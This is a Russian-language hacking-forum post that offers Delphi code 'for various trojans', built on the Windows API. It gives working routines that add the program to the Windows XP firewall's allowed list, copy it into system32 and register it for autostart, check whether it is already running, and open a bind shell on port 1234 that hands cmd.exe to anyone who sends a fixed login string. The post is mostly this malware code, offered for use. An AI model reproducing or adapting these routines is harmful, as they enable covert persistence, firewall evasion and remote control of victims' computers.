|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
И так приступим.
1) Обход встроенного в винду фаервола:
Добавляет саму себя в обход фаера
Код:
procedure fuck_xpfw;
var
key:longword;
ValueName:array[0..255] of char;
Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';
begin
if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
Value:=ValueName+':*:Enabled:RPC';
RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
RegCloseKey(key);
end;
2) Копирование себя в windows и прописывает в автозагрузке:
Код:
function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;
procedure install(name,about:string);
var
key:longword;
s:string;
begin
s:=windir+'\system32\'+name;
CopyFile(pchar(paramstr(0)),pchar(s),false);
RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
RegCloseKey(Key);
end;
3) Проверка на повторную загрузку:
Код:
function isRun:boolean;
begin
CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
if GetLastError=183 then result:=true else result:=false;
end;
4) Шелл:
C авторизацией
Код:
procedure RunShell;
const
PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
begin
cl:=accept(sock,caddr,addrlen);
if cl=INVALID_SOCKET then continue;
s:='';
repeat
l:=recv(cl,c,1,0);
s:=s+c;
if length(s)>16 then l:=-1;
until (l<=0) or (s=LOGIN);
if l<=0 then
begin
closesocket(cl);
continue;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=cl;
StartupInfo.hStdOutput:=cl;
StartupInfo.hStdError:=cl;
CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;
|